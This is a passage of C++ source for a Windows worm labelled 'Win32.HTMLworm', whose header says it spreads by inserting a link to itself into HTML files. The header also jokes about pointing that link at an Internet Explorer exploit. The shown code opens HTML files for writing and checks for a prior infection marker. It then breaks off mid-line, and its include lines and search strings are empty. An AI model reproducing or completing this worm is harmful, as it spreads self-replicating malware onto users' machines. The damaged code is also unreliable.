// Name: Win32.HTMLworm
// Author: WarGame
// Compiler: Borland C++
// Description: This worm spreads by adding a link to itself in html files
// Improvements: You could add a link to a page containing an IE exploits :)
#include
#include
using namespace std; // :)
// This function does the real work
void HTMLSpread(char *htmlfile)
{
HANDLE html_fd;
DWORD html_filesize,read_bytes,written_bytes;
char *c_htmlcode = NULL;
string *htmlcode = NULL; // make it simpler
long pos;
// open the html file
html_fd = CreateFile(htmlfile,GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(html_fd == INVALID_HANDLE_VALUE)
{
return;
}
// get file size
html_filesize = GetFileSize(html_fd,NULL);
// allocate enough memory
c_htmlcode = (char *)malloc(html_filesize);
if(c_htmlcode == NULL)
{
return;
}
// read entire file
if(ReadFile(html_fd,c_htmlcode,html_filesize,&read_bytes,NULL) == 0)
{
CloseHandle(html_fd);
return;
}
// create a string object
htmlcode = new string(c_htmlcode);
free(c_htmlcode);
// already infected ?
if(htmlcode->find("") == string::npos)
{
pos = htmlcode->find("